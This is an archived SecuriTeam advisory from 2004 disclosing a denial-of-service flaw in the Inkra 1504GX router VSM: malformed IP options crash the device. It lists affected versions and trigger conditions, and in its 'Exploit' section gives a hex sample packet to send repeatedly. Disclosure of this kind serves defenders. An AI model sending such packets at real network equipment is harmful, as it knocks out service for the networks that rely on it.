[NEWS] Inkra 1504GX IP Protocol Parsing DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 10/05/04

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Date: 5 Oct 2004 11:27:17 +0200

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      Inkra 1504GX IP Protocol Parsing DoS
    ------------------------------------------------------------------------

    SUMMARY

    The <http://www.inkra.com/> Inkra 1500 Series Virtual Service Switch
    "takes your security strategy to the next level, dynamically protecting
    your network and applications from internal attacks and security holes".

    The Inkra 1504GX's router VSM does not properly parse the IP options, this
    allows a remote attacker to cause the product to crash by sending it
    malformed IP options.

    DETAILS

    Vulnerable Systems:
     * Inkra Networks 1504GX Router Virtual Service Switch VSM 2.1.4.b003

    Immune Systems:
     * Inkra Networks 1504GX Router Virtual Service Switch VSM 2.1.5
     * Inkra Networks 1504GX Router Virtual Service Switch VSM 2.0.9

    Testing scenario:
    The exportability of this vulnerability is only feasible if the following
    is true:
    1. The Router VSM is selected as active VR
    2. Between the Router VSM and the VP, no other VSMs exist
    3. The VP is directly connected to the IO slot

    Exploit:
    You can recreate the issue by sending at least 3 times the following
    sample packet:
    xx xx xx xx xx xx (DMAC)
    xx xx xx xx xx xx (SMAC)
    08 00
    4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum)
    xx xx xx xx (SIP)
    xx xx xx xx (DIP)
    eb 21 ad a6 eb e1 35 9b ce dd
    a7 11 ea 5d c5 96 af 47 c1 50
    f1 d1 5c 4b 18 9a c1 8a 13 6b
    48 5e 74 83 c6 06

    aa 9a 5e c2 a6 75 38 44 f8 43
    d7 3f ae a1 e0 c6 e3 7c 4b 59
    7a 95 1e 70 cc 04 1b 2a d1 6e
    38 83

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:felix__zhou@hotmail.com>
    Felix Zhou and <mailto:songsong@shaw.ca> Song Liu.

    ========================================

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